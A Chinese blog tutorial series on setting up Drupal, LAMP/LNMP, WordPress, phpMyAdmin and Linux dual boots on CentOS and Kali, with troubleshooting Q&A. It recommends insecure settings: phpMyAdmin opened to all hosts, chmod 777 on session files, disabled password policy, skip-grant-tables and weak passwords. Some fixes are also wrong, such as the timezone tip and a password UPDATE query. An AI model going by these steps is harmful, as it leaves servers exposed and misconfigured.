A:1)stackoverflow上解决办法:使用pecl 去更新Xcache模块,例:pecl upgrade Xcache,但是我使用出现错误,故没采用此方法!具体的参考链接详细解释,请看参考文章!
2)输入yum -y install php-xcache
,然后php
-v,没有出现此错误,但是出现PHP Warning: Module ‘modulename’ already
loaded in Unknown on line 0,
3)PHP Warning: Module ‘modulename’ already loaded in Unknown on line 0
A: 原因:
在PHP中加载大多数扩展有两种方法。 一个是通过将扩展直接编译成PHP二进制。 另一种是通过ini文件动态加载共享扩展。 错误表明动态扩展正在通过.ini文件加载,即使它们已经编译成PHP二进制文件。
解决:
要解决这个问题,您必须编辑您的php.ini(或extensions.ini)文件,并注释掉已经编译的扩展。 例如,编辑后,您的ini文件可能看起来像下面的行:
;extension=pcre.so
;extension=spl.so
;extension=simplexml.so
;extension=session.so
;extension=exif.so
你也可以删除这些行,而不是注释掉。 一旦你禁用了这些行,运行php -v,看看警告是否消失。
2.2.2 PHP升级方法二(建议采用本方法解决)¶
- step 1:首先查看机器上安装的所有php相关的rpm包
[root@localhost nginx]# rpm -qa | grep php
php-cli-5.3.3-22.el6.x86_64
.....
php-pear-1.9.4-4.el6.noarch
- step 2:按依赖顺序进行删除
rpm -e php-fpm-5.3.3-22.el6.x86_64
rpm-e php-pdo-5.3.3-22.el6.x86_64
rpm -e php-pear-1.9.4-4.el6.noarch
rpm-e php-cli-5.3.3-22.el6.x86_64
rpm -e php-5.3.3-22.el6.x86_64
rpm-e php-xml-5.3.3-22.el6.x86_64
rpm -e php-gd-5.3.3-22.el6.x86_64
rpm-e php-common-5.3.3-22.el6.x86_64
Q:rpm卸载软件忽略循环依赖 当卸载到php-pecl-jsonc-1.3.10-1.el6.remi.5.6.x86_64和php-pecl-zip-1.13.4-1.el6.remi.5.6.x86_64的时候出现以下的错误:
[iteblog@iteblog.com ~] $ rpm -e php-pecl-jsonc-1.3.10-1.el6.remi.5.6.x86_64
error: Failed dependencies:php-pecl-jsonc(x86-64) is needed by (installed) php-common-5.6.25-0.1.RC1.el6.remi.x86_64
[iteblog@iteblog.com ~] $ rpm -e php-pecl-zip-1.13.4-1.el6.remi.5.6.x86_64
error: Failed dependencies: php-pecl-zip(x86-64) is needed by (installed) php-common-5.6.25-0.1.RC1.el6.remi.x86_64
A:此时用rpm –nodeps -e
[root@iteblog.com ~] $ rpm --nodeps -e php-common-5.6.25-0.1.RC1.el6.remi.x86_64
[root@iteblog.com ~] $ rpm --nodeps -e php-pecl-zip-1.13.4-1.el6.remi.5.6.x86_64
[root@iteblog.com ~] $ rpm --nodeps -e php-pecl-jsonc-1.3.10-1.el6.remi.5.6.x86_64
[root@iteblog.com ~] $ rpm -qa|grep php
终于卸载干净了!有困难找man啊!
yum install –enable-opcache php55w php55w-opcache php55w-mbstring php55w-gd php55w-xml php55w-pear php55w-fpm php55w-mysql
说明:–enable-opcache,安装PHP5.5同时开启
3.安装Drupal 8¶
3.1 Drupal 8下载¶
下载
## 1.wget下载
# wget https://ftp.drupal.org/files/projects/drupal-8.1.1.tar.gz
## 2.解压缩到apache
# tar xvfz drupal-8.1.1.tar.gz -C /var/www/html
### 3.重命名
# cd /var/www/html
# mv drupal-8.1.1 drupal
## 4.修改权限
# chown -R apache:apache /var/www/html/drupal/
## 5.复制配置文件
# cd /var/www/html/drupal/sites/default
# cp -p default.settings.php settings.php
新建数据库
# mysql -u root -p
create database drupal_db;
CREATE USER db_user@localhost IDENTIFIED BY 'Durpal@123#';
GRANT ALL PRIVILEGES ON drupal_db.* TO db_user@localhost;
FLUSH PRIVILEGES;
exit;
打开浏览器http://your.ip/drupal
3.2安装drupal 8¶
在浏览器输入:localhost/drupal,接着傻瓜式安装,注意数据库配置,使用上面创建的数据库drupal_db和用户db_user以及相应的密码!
3.3 安装Q&A¶
Q:安装时检查安装需求时,opcache和clean url(简洁链接)问题解决
A:1)启用opcache(上述已经安装过opcache) 在php.ini文件中添加如下配置:
zend_extension=opcache.so
[opcache]
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable=1
opcache.enable_cli=1
然后检查下phpinfo,这个参考之前文章燃火搭建CetOS7.3 LAMP服务器
2)drupal的clean url(简洁链接)问题解决 在apache目錄下修改httpd.conf. 文件:/apache/conf/httpd.conf.
在文件中 确定开启mod_rewrite模块 如果尚未开放把前面的#号去掉 LoadModule rewrite_module modules/mod_rewrite.so 在httpd.conf文件中的AllowOverride none代碼 全部替换成 AllowOverride All 这个是以保证重写可以启用 其他的不用改了,最后 重启apache服务:
systemctl restart httpd
Q:DateTime::createFromFormat(): It is not safe to rely on the system’s timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone ‘UTC’ for now, but please set date.timezone to select your timezone. in
A:修改php.ini文件,设置为date.timezone = Asia/XX (XX为自己的用户名,随意!)
4.参考文章¶
- CentOS 7.x 安装drupal 8
- PHP Warning: Module ‘modulename’ already loaded in Unknown on line 0
- PHP Warning: PHP Startup: ????????: Unable to initialize module
- Apache is “Unable to initialize module” because of module’s and PHP’s API don’t match after changing the PHP configuration
- 在CentOS 7上安装Drupal 8
- Centos7 把php5.4升级到php5.6
- CentOS上PHP完全卸载
- rpm卸载软件忽略循环依赖
- PHP5.5+启用OPCache
- drupal的clean url(简洁链接)问题解决
- PHP DateTime throws timezone warning even though date.timezone set
- drupal8提示主机信任问题解决方法
第三节:燃火搭建CetOS7.3 LAMP服务器¶

1.前言¶
系统:CetOS7.3(CentOS-7-x86_64-DVD-1611)
LAMP:Linux+Apache+MySQL+PHP,是用于搭建web服务器的一种解决方案。虽然从RHEL 7开始Red Hat公司推荐使用MariaDB而不是MySQL,但在我这篇文章当中,我还是决定继续使用MySQL。
2.LAMP搭建¶
2.1 Apache¶
1)安装Apache及启动状态设置¶
yum install httpd
Apache软件的软件包名称叫做httpd,根据红帽官方文档说明,RHEL 7 (或CentOS 7)上可用的Apache版本是2.4版。我安装的便是version 2.4。安装完成后,Apache是以httpd服务的形式存在的。因此,要启动Apache并将其设置为开机启动,就使用命令:
systemctl start httpd.service
systemctl enable httpd.service
然后,检查httpd服务状态:
systemctl status httpd.service
终端出现“enabled”表示httpd服务已设为开机启动,“active(running)”则表示httpd服务正在运行中。
2)防火墙开放80端口¶
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --reload
3)测试localhost,显示默认页面¶
localhost
,显示如下界面:¶ #### 4)设置Apache配置文件
Apache软件的主配置文件为
/etc/h ttpd/conf/httpd.conf
vi /etc/httpd/conf/httpd.conf
我只修改了下面这行,其他的没变,更多的请到在网页http://httpd.apache.org/docs/2.4/en/中查阅到!
提醒:修改之前,多备份几个原配置文件!
AddDefaultCharset Off
//AddDefaultCharset会强制客户端浏览器使用指定的字符集编码方式。这可能会有问题,所以要将它关闭。
5)测试配置文件¶
[root@localhost ~]#apachectl configtest
然后,重启httpd服务:
[root@localhost ~]# systemctl restart httpd
Q:vi如何替换多个字符串?
A::n,$s/my/you/g 替换第 n 行开始到最后一行中每一行所有 my 为 you
2.2 PHP¶
1)安装PHP¶
yum install php
2)配置文件¶
安装完成后,PHP会生成配置文件/etc/httpd/conf.d/php.conf,因为该配置文件在/etc/httpd/conf.d目录下,所以它会被Apache所读取。PHP还会生成配置文件/etc/httpd/conf.modules.d/10-php.conf,该配置文件也会被Apache所读取,它的设定让Apache可以加载PHP模块。不过,PHP软件本身的配置文件其实是/etc/php.ini。
然后,重启httpd服务:
[root@localhost~]# systemctl restart httpd
3)测试Apache调用PHP¶
vim /var/www/html/phpinfo.php
),内容如下所示:¶<?php phpinfo();?
其中的<?php ?
是PHP程序的语法,phpinfo
();则是PHP程序提供的一个函式库,该函式库可以显示出你这个web服务器的相关信息。然后,使用浏览器来访问服务器的这个文件,看看页面能不能正常打开。
浏览器输入
localhost/phpinfo.php
### 2.3 MySQL
1)安装MySQL级启动状态设置¶
查资料发现是CentOS 7 版本将MySQL数据库软件从默认的程序列表中移除,用mariadb代替了。
mv ...(下载文件的地方) /root
# 表示将下载包移动到root目录
yum localinstall mysql57-community-release-el7-9.noarch.rpm
# 将MySQL Yum Repository添加到系统的软件库列表(repositorylist)
yum repolist enabled | grep mysql
# 检查添加是否成功
yum install mysql-community-server
# 安装MySQL
安装完成后
systemctl start mysqld
# 启动mysqld服务
systemctl enable mysqld
# 设为开机启动
systemctl status mysqld
# 检查mysqld服务状态
netstat -atulpn | grep mysqld
# 查看mysqld服务侦听端口
MySQL侦听tcp端口3306。但因为防火墙并未放通该端口,所以从其它设备上是无法访问本服务器的MySQL数据库的。但因为这里的MySQL也仅是提供给本机的PHP使用的,所以也就不必放通tcp端口3306。
2) 配置文件¶
/etc/my.cnf:这是MySQL的配置文件 /var/lib/mysql:这是数据库实际存放目录 /var/log/mysqld.log:这是MySQL的错误日志文件
3)实际操作¶
[root@localhost ~]# mysql -u root -p
Enter password:
mysql create user'myuser'@'localhost' identified by '1234'; //新建本地用户myuser,密码为1234
mysql create database mydb; //新建数据库mydb
mysql grant all privileges on mydb.*to myuser@localhost; //将数据库mydb的所有权限授权给本地用户myuser
mysql flush privileges; //刷新系统权限表
mysql use mysql; //进入数据库mysql(该数据库为系统自带)
mysql select * from user where user ='myuser'; //查询数据库mysql中是否存在用户myuser
mysql show databases; //显示所有已有的数据库
mysql exit
4)问题解决¶
Q:在创建本地用户时,ERROR 1819 (HY000): Your password does not satisfy the current policy requirements,怎么解决?
A:默认情况下MySQL 5.7+拥有密码验证系统。如果你不想严格遵守政策,并需要分配自己的,那么只是禁用密码验证和重新启动mysqld进程。
先编辑my.cnf文件
`vi /etc/my.cnf`
in [mysqld]
`validate-password=off`
保存文件,并重启mysql
`sudo service mysqld restart` or `systemctl restart mysqld`
Q:上个问题解决后,继续创建本地用户,遇到错误ERROR 1054 (42S22): Unknown column 'password_last_changed' in 'mysql.user'
A:字段'password_last_changed'在MySQL <5.7的版本中存在, 但是在5.7,给删除了。
所以升级了mysql server之后,你还有运行’mysql_upgrade’ 脚本把tables从老版本中迁移到新版本。
`mysql_upgrade -u root -p`
然后`systemctl restart mysqld`或者`service mysql restart`重启MySQL服务器,问题就解决了。
Q:如果您是第一次进行安装并想要知道临时密码,请使用以下方法查找第一次密码
A:`grep 'temporary password' /var/log/mysqld.log`
Q:更改root密码
A:`mysql_secure_installation` or `/usr/bin/mysql_secure_installation`
2.4 PHP-MySQL¶
PHP-MySQL是一个用于让PHP程序使用MySQL数据库的模块
1)安装PHP-MySQL¶
yum install php-mysql
2)重启httpd服务¶
systemctl restart httpd
3)测试PHP能否连接到MySQL数据库¶
<?php
$link=mysql_connect("localhost","myuser","1234");
if(!$link) echo "FAILD!fail......";
else echo "OK!make it";
?

Q:测试成功后,查看Apache的错误日志文件,还是发现有报错“mysql_connect():Headers
and client library minor version mismatch”,该怎么解决?
A:这样的错误是由于高版本的MySQL,低版本的MySQL Client
API引起的,我在CentOS
7上安装MySQL-Server的时候出现了这个错误,解决办法: 卸载PHP-mysql
yum remove php-mysql -y
安装php-mysqlnd
yum install php-mysqlnd -y
重启httpd
systemctl restart httpd.service
4)Apache联机,修改SELinux规则¶
让SELinux规则放行:
[root@www ~]# setsebool -P httpd_can_network_connect=1
然后确认一下修改是否生效:
[root@www ~]# getsebool httpd_can_network_connect
至此为止,基本的LAMP平台已经架设好了!¶
3.XCache配置¶
3.1 XCache简介¶
为了优化LAMP平台,所以还需要进行一些工作。 XCache是一款开源的PHP缓存器/优化器,它通过把编译 PHP 后的数据缓冲到共享内存从而避免重复的编译过程, 使客户端访问时服务器能够直接使用缓冲区已编译的代码从而提高速度,同时降低服务器负载。到我写这篇文章为止,XCache最新的版本为3.2.0。我选择使用官网提供的源码来安装XCache。
3.2 安装XCache¶
源码编译安装需要安装gcc:
yum install gcc
再安装php-devel,它用于让PHP可以支持扩展工具(如XCache):
yum install php-devel
然后,使用XCache官网提供的源码来安装XCache:
然后,使用XCache官网提供的源码来安装XCache:
[root@www ~]# wget http://xcache.lighttpd.net/pub/Releases/3.2.0/xcache-3.2.0.tar.gz
[root@www ~]# tar -zxfxcache-3.2.0.tar.gz
[root@www ~]# cd xcache-3.2.0
[root@www xcache-3.2.0]# phpize --clean
[root@www xcache-3.2.0]# phpize
[root@www xcache-3.2.0]# ./configure--enable-xcache
[root@www xcache-3.2.0]# make
[root@www xcache-3.2.0]# make install
[root@www xcache-3.2.0]# cat xcache.ini /etc/php.ini
//千万注意,有两个号,表示把xcache.ini的配置追加到php.ini后面。如果只有一个号,会把php.ini原有的配置覆盖掉。
//建议在操作前可以先备份/etc/php.ini文件。
然后,重启httpd服务:
[root@www ~]# systemctl restart httpd
打开phpinfo.php页面页面,搜索xcache,应该可以搜索到关于XCache的相关信息,可以看到XCache是enabled的:
### 3.3 XCache配置管理后台
1)在/var/www/html目录下新建一个档案,假设为account.php,将这个档案的内容该成如下所示:
[root@www ~]# vim/var/www/html/account.php <?php echo md5(“1234”); //双引号内可以填入你想要使用的密码 ?
2)浏览器访问这个页面,可以得到一串数字和字母的组合,我得到的是81dc9bdb52d04dc20036dbd8313ed055 ####
3)修改配置文件
修改/etc/php.ini中的这两个设定的值: xcache.admin.user =”admin” //双引号内可以填入你想要使用的用户名 xcache.admin.pass =”81dc9bdb52d04dc20036dbd8313ed055” //双引号内填入刚刚得到的那串组合
4)将XCache安装包里面的htdocs整个目录复制到/var/www/html目录下:
cp -a /root/xcache-3.2.0/htdocs /var/www/html
5)修改目录htdocs及其子目录和档案的所属用户和组,我选择将其都改为root: chown -R root:root /var/www/html/htdocs
6)使用restorecon命令来重置目录htdocs及其子目录和档案的SELinux相关设定: restorecon -Rv/var/www/html/htdocs
7)最后,使用浏览器访问地址localhost/htdocs/cacher/index.php,然后输入你设定的用户名和密码,就可以打开XCache的管理后台了:
4.参考文章¶
4.2 ERROR 1819 (HY000): Your password does not satisfy the current policy requirements
4.3(同4.2问题,总共2篇) ERROR 1819 (HY000): Your password does not satisfy the current policy requirements
4.4 ERROR 1054 (42S22): Unknown column ‘password_last_changed’ in ‘mysql.user’
4.6 mysql_connect(): Headers and client library minor version mismatch. Headers

第四节:Cetos7.2搭建LNMP与WordPress¶
一、前言¶
本文基于腾讯云校园活动,1元购买的服务器,进行操作实战,服务器端安装Cetos7.2,利用XShell自行搭建LNMP,并使用WordPress搭建网站。 之前写过一篇Cetos7.3下搭建LAMP,不懂的可以参考:燃火搭建CetOS7.3 LAMP服务器,同理LNMP搭建原理大同小异。于是,进行本次操作实战。
<font color=red注意:具体的购买服务器跟XShell远程连接服务器本文不做阐述,重点放在LNMP搭建及WordPress相关问题上。</font
二、LNMP搭建¶
1.Linux:Cetos7.2¶
2.Nginx¶
1)安装¶
yum install nginx
2)配置¶
vi /etc/nginx/nginx.conf
修改配置文件
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name blog.codingplayboy.com;
root /usr/share/nginx/html;
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
location / {
root /usr/share/nginx/html/blog-wp;
index index.php index.html index.htm;
}
error_page 404 /404.html;
location = /40x.html {
root /usr/share/nginx/html;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
rewrite /wp-admin$ $scheme://$host$uri/ permanent;
location ~ \.php$ {
root /usr/share/nginx/html/blog-wp;
fastcgi_pass 127.0.0.1:9000; //php-fpm
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
3)启动¶
systemctl start nginx
3.MySQL¶
1)安装MySQL级启动状态设置¶
查资料发现是CentOS 7 版本将MySQL数据库软件从默认的程序列表中移除,用mariadb代替了。
为了要安装MySQL,我选择的是去官网http://dev.mysql.com/downloads/repo/yum/下载安装包。我下载的是mysql57-community-release-el7-9.noarch.rpm文件。
mv ...(下载文件的地方) /root
# 表示将下载包移动到root目录
yum localinstall mysql57-community-release-el7-9.noarch.rpm
# 将MySQL Yum Repository添加到系统的软件库列表(repositorylist)
yum repolist enabled | grep mysql
# 检查添加是否成功
yum install mysql-community-server
# 安装MySQL
安装完成后
systemctl start mysqld
# 启动mysqld服务
systemctl enable mysqld
# 设为开机启动
systemctl status mysqld
# 检查mysqld服务状态
2) 配置文件¶
/etc/my.cnf:这是MySQL的配置文件 /var/lib/mysql:这是数据库实际存放目录 /var/log/mysqld.log:这是MySQL的错误日志文件
3)实际操作¶
[root@localhost ~]# mysql -u root -p
Enter password:
mysql create database wordpress;
mysql grant all on wordpress.* to username identified by "password";
mysql exit
4.PHP¶
1)安装¶
sudo yum -y install php php-fpm php-mysql php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl
sudo yum -y install epel-release
2) 配置¶
vi /etc/php-fpm.d/www.conf //打开php-fpm配置文件
找到对应owner,user,group,修改为nginx用户和nginx用户组:
listen.owner = nginx
listen.group = nginx
listen.mode = 0666
...
user = nginx
group = nginx
3) 启动¶
systemctl start php-fpm
systemctl enable php-fpm
//设置开机自启动php-fpm
三、WordPress¶
cd /usr/share/nginx/html/ //进入网站根目录
mkdir blog-wp //创建blog-wp
wget https://cn.wordpress.org/wordpress-4.7.2-zh_CN.zip //下载WordPress
unzip wordpress-4.7.2-zh_CN.zip //解压wordpress-4.7.2-zh_CN.zip
权限设置:解决"Access Denied,403Forbidden禁止访问"错误
chown -R nginx:nginx /usr/share/nginx/html/blog-wp
chmod -R 774 /usr/share/nginx/html/blog-wp
服务器公网IP+wordpress即可进入WordPress安装。
四、MySql及WordPress相关Q&A¶
Q:初次登录回车失败报错:ERROR 1045 (28000): Access denied for user 'mysql'@'localhost' (using password: NO)
A:解决办法:`vi /etc/my.cnf`看到mysql的日志文件目录,查看日志目录文件more /var/log/mysqld.log,看到Note] A temporary passwor
d is generated for root@localhost:` *******`,`*****代表密码`。然后在输入mysql -u root -p,后面填入以上密码,回车即可。
Q:免密码登录mysql或者初次登陆MySQL修改密码是出现Unknown column 'password' in 'field list'的解决方法
A:`vim /etc/my.cnf` 加入`skip-grant-tables`
在symoblic-links=0下面添加本行代码,然后使用命令`systemctl restart mysqld`重启mysql,终端输入mysql或者mysql -u root -p登录mysql,然后use mysql,下来`update mysql.user set authentication_string=password('root') where user='password';`进行上述操作后,使用mysql -u root -p
进入mysql,输入上述配置的密码登录进去即可。
Q:进行上述操作后,登录至mysql,但是输入命令,出现MySQL 报错 *ERROR 1820 (HY000): You must reset your password using ALTER USER statement before executing this statement*
A:set password = password('123456');
Q:在创建本地用户或者如上述操作设置密码时,*ERROR 1819 (HY000): Your password does not satisfy the current policy requirements*,怎么解决?
A:默认情况下MySQL 5.7+拥有密码验证系统。如果你不想严格遵守政策,并需要分配自己的,那么只是禁用密码验证和重新启动mysqld进程。
先编辑my.cnf文件
`vi /etc/my.cnf`
plugin-load=validate_password.so
validate-password=OFF
保存文件,并重启mysql
`sudo service mysqld restart` or `systemctl restart mysqld`
Q:上个问题解决后,继续创建本地用户,遇到错误ERROR 1054 (42S22): Unknown column 'password_last_changed' in 'mysql.user'
A:字段'password_last_changed'在MySQL <5.7的版本中存在, 但是在5.7,给删除了。
所以升级了mysql server之后,你还有运行’mysql_upgrade’ 脚本把tables从老版本中迁移到新版本。
`mysql_upgrade -u root -p`
然后`systemctl restart mysqld`或者`service mysql restart`重启MySQL服务器,问题就解决了。
Q:如果您是第一次进行安装并想要知道临时密码,请使用以下方法查找第一次密码
A:`grep 'temporary password' /var/log/mysqld.log`
Q:更改root密码
A:`mysql_secure_installation` or `/usr/bin/mysql_secure_installation`
Q:启动mysql错误解决方案,mysql.sock丢失,mysqld_safe启动报错
重启了一次服务器后,使用`mysql -u root -p`登陆是出现下面的错误:
*ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)*
A:使用重启命令init 6解决,同样,如果在wordpress访问时出现数据库连接错误,先`systemctl restart mysqld`,如果出现错误,mysql服务未重启,则采取init 6便可解决!
Q:“您的 PHP 似乎没有安装运行 WordPress 所必需的 MySQL 扩展”处理方法
A:第一步:先用SSH登录,打开PHP.ini
#vi /etc/php.ini
第二步:php.ini中 添加
extension=mysql.so
第三步:在PHP.ini 中找到如下
extension_dir = "XXXXXXX"
注:XXX指扩展安装目录,centos64位的主机一般安装在extension_dir = "/usr/lib64/php/modules"
第四步:找到这个扩展安装目录,确认是否有mysql.so这个文件,如果没有,下载
重启服务

第五节:CetOS 7.3 配置phpMyAdmin¶
1.设置EPEL¶
1.安装epel仓库:
在CentOS6和CentOS7都可以执行下面的命令安装epel仓库
yum -y install epel-release
这条命令的好处是可以自动安装不同版本的epel,
比如在CentOS6上面安装的就是epel6,在CentOS7上面安装的就是epel7。
2.移除epel仓库:
在CentOS6和CentOS7都可以执行下面的命令移除epel仓库
yum -y remove epel-release
3.查看仓库信息:
yum repolist
或者
wget http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
rpm -ivh epel-release-latest-7.noarch.rpm
yum repolist ##检查是否已添加至源列表
OK,检查好已添加至源后就可以进行yum安装了
2.yum安装phpMyAdmin¶
yum install phpmyadmin
3.配置phpMyAdmin¶
默认情况下,CentOS 7上的phpMyAdmin只允许从回环地址(127.0.0 .1)访问。为了能远程连接,你需要改动它的配置。
编辑phpMyAdmin的配置文件(路径:/etc/httpd/conf.d/phpMyAdmin.conf),
找出并注释掉带有"Require ip XXXX"字样的代码行。会有四处这样的代码行,
用"Require all granted"取而代之。
vi /etc/httpd/conf.d/phpMyAdmin.conf
. . . . .
<Directory /usr/share/phpMyAdmin/>
AddDefaultCharset UTF-8
<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>
#Require ip 127.0.0.1
#Require ip ::1
Require all granted
</RequireAny>
</IfModule>
<IfModule !mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1
</IfModule>
</Directory>
<Directory /usr/share/phpMyAdmin/setup/>
<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>
#Require ip 127.0.0.1
#Require ip ::1
Require all granted
</RequireAny>
</IfModule>
<IfModule !mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1
</IfModule>
</Directory>
. . . . .
最后,重启httpd使改动生效。
systemctl restart httpd
4.测试phpMyAdmin¶
测试phpMyAdmin是否设置成功,访问这个页面:http:///phpmyadmin 我的是localhost/phpmyadmin,如下图:
5.Q&A¶
> Q:你在浏览器里尝试连接phpMyAdmin页面的时候,你看到"403 Forbidding"错误:
You don't have permission to access /phpMyAdmin on this server.
发生这种错误是因为phpMyAdmin默认阻止了IP地址远程连接。要修复这种错误.
> A:你需要编辑它的配置文件来允许远程连接。具体操作见上。
>
> Q:当你连接phpMyAdmin页面时,你看见"Cannot load mcrypt extension. Please check your PHP configuration"错误信息。
>
> A:先`yum install php-mcrypt`然后重启httpd,`systemctl restart httpd`.
>
> Q:浏览器输入localhost/phpmyadmin,访问页面为空白.
>
> A:有些IE版本会出现这样的问题,换了一下浏览器解决本问题,如果需要根除解决,参考[http://blog.csdn.net/keenx/article/details/6021028](http://blog.csdn.net/keenx/article/details/6021028)
>
> Q:登录页面下面出现
>
Warning in ./libraries/session.inc.php#105 session_start():open(/var/lib/php/session/sess_lgnlj0ie5b0tv0h6gl4qubbku3bftrlf, O_RDWR) failed: Permission denied (13)
> A:权限问题:终端输入`chmod -R 777 /var/lib/php/session` ,便可解决问题!
6.参考文章¶
第六节:Win7下安装CetOS 7¶

1.前言¶
记实战Win7+CetOS7双系统真机折腾录
1)原因:2015年12月,是初次上手双系统,并且当初是成功安装上CetOs7,但是由于自身盲目及不会Google原因未能恢复Win7系统,故只剩下单系统,回到现在安装成功,其实就差最后一步,哎,一步之遥,相差1年,是本次缘分让我重拾双系统实战。初次安装是使用U盘安装,Win7+CetOs7,而本次则为另外一种装机方式(硬盘安装)
2)真机安装CetOS学习;
3)linux下C或Java开发等;
4)CetOS命令回顾及服务器高级进阶;
5)Python深入开发,爬虫实战。
故基于以上五点,抛去虚拟机的限制,直接真机上手,打破当初U盘装机习惯,采用硬盘装机体验,玩转真机,重拾自信,找回当初的最后一步!
2.工具准备¶
3.难点解释及注意事项¶
难点解释¶
- Linux系统能识别windows下FAT32文件系统,不能识别NTFS文件系统,所以在linux安装时,选择任何sda都不行,FAT32可以
- 2)FAT32文件系统单个文件不能超过4G
- 3)CentOS 7文件大于4G
结论:在win7下使用FAT32和NTFS系统存放安装ISO都不可行,则要想办法用工具分出一块linux文件系统,如:ext3(linux分区格式),不受4G的限制
注意事项¶
EaseUS Partition Master 10.1 软件使用时,建议关闭其他所有软件,不然本软件会卡死!
4.安装过程¶
- 1)准备一个空的盘符,最好是最后一个,而且不在逻辑分区内。 (PS:我的是分出100GB,分为两部分:1)40GB–ext3用于存放镜像,启动安装;2)60GB—未分配磁盘,用于在安装过程中,回收剩余的本60GB,去安装,不然的话,如果是一个磁盘,到时候得回收,由于本盘装了镜像,所以安装不太行,有得重来,故一定要在放镜像之外,至少分配一个未分配的空间!具体操作见下面)
- 2)如果最后一个是逻辑分区的话,可以用EaseUS Partition Master 10.1转化成主分区,然后再删除(用EaseUS Partition Master 10.1将最后一个磁盘删除),然后在新建一个40g的ext3分区来存放CentOS 7 镜像文件。Windows是不识别ext2、3等linux文件系统的,所以创建好ext3分区之后要用ext2fsd工具将ext3文件系统挂载到win7上
- a:分区(ps:傻瓜式操作,英文不懂的,可以Google翻译哈,或者再不懂大家不懂用这个工具的话可以换其他的,或者找下EaseUS
Partition Master
10.1的教程,这里我自己是分了将近40g的空间来放置CentOS 7 镜像文件)
- b:利用ext2Fsd工具启用支持ext3的功能,并给刚才划分ext3文件系统分配盘符。
右键刚才分出来的ext3文件系统,添加-加载并推出-返回,看到ext3有盘符就说明可以了,如果没有就只执行刚才的操作。
c:将CentOS 7 用虚拟光驱加载,将里面的images、isolinux文件夹复制到40g的ext3文件系统中,同时也要把CentOS 7镜像复制到40gext3里面。
3)做完上面的镜像准备工作之后就要开始配置grub了。配置的时候要用winGrub查看下40g ext3文件系统盘的分区号,然后使用EasyBCD点击添加新条目,然后选择NeoGrub条目,点击安装后,点击配置,弹出记事本文档,在grub中写下如下配置: ####
title CentOS 7 root (hd0,7) kernel (hd0,7)/isolinux/vmlinuz linux repo=hd:/dev/sda8:/ initrd (hd0,7)/isolinux/initrd.img
4)然后是安装,安装CentOS过程
重启选择NeoGrub引导
一步步安装
后面安装步骤省略,在安装选择分区是我选择自动分配。安装模式根据自己的需求安装,包括一些软件之类的,自选!
一步步安装后,到此就安装成功CetOS 7了,重启进入CetOS 7系统。
5.安装问题及解决办法¶
问题1:安装过程出现/dev/root does not exist的提示!
解决办法:EasyBCD配置grub时,文件不要忘了添加(这个是不同于CetOS 6,目前所知安装CetOs 7得添加此句方可解决!)
root (hd0,7)跟repo=hd:/dev/sda8:/
问题2: CentOS 7安装好之后,原先的win7启动项就会消失,这时候有两种办法可以找回来。
解决办法1:第一种暴力直接,但是有效果。(个人比较推荐第二种方法!)
进入pe重建C盘的主引导记录,然后进入win7,在bcd中添加新条目-Linux/BSD-驱动器选择60GB的linux(/boot)
第二种就是在CentOS 7中添加Win7的启动项
修改/etc/grub.d/40_coustom 添加如下内容:
menuentry "Windows7"{
set root=(hd0,1)
chainloader +1
}
然后用grub2-mkconfig -o /boot/grub2/grub.cfg重建grub2引导
6.参考链接¶
- 1)http://www.cnblogs.com/Johness/archive/2012/12/03/2800126.html
- 2)http://bckong.blog.51cto.com/5092126/1574489
第七节:win7+ kali linux双系统 + 无线路由WiFi破解¶

前期一:失败—原因:经过多方查文第一次安装Linux成功,但是引导失败,原因就是微软的Easybcd不怎么支持efi装的系统,支持legal的系统。于是经过二次实战。从中午1点半非连续装机半完美解决于下午2点50 win7+kali Linux双系统装成功,并进入了正确引导。
后期实战:问题:1)kali linux裸装后无WiFi驱动,无法连接wif;2)kali linux 裸装后有线由于没有netkeeper客户端,故不能上网,故首先解决问题—上网问题.
上网问题完美解决方案:1)经过尝试后,发现有线可以在机房通过chinanet进行连接,故走WiFi+有线连接方式,未配置dns及子网掩码之类的,便可以直接上网;2)使用ChinaNet连上网后,查文,翻墙,Google技术论坛,预解决kali linux的无线网络连接问题—–首要安装无线驱动—-经过命令后,得到本机的驱动为博通bcm43142
解决方案¶
1、编辑/etc/apt/sources.list 在文件最后加
deb http://http.debian.net/debian/ jessie main contrib non-free
----------------2-5都是在端-----------------------
2、 apt-get update
3、apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') broadcom-sta-dkms
4、modprobe -r b44 b43 b43legacy ssb brcmsmac
5、modprobe wl
6、成功-------------以上来源debian官网
但是路途并不是这么畅通:使用apt-get命令过程中报错,解决方案: ### 1)系统更新
- 在sources.list中添加源 命令如下:
leafpad /etc/apt/sources.list
然后复制粘贴下面的源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
#中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free `
然后更新并安装
`apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y `
2)安装内核头¶
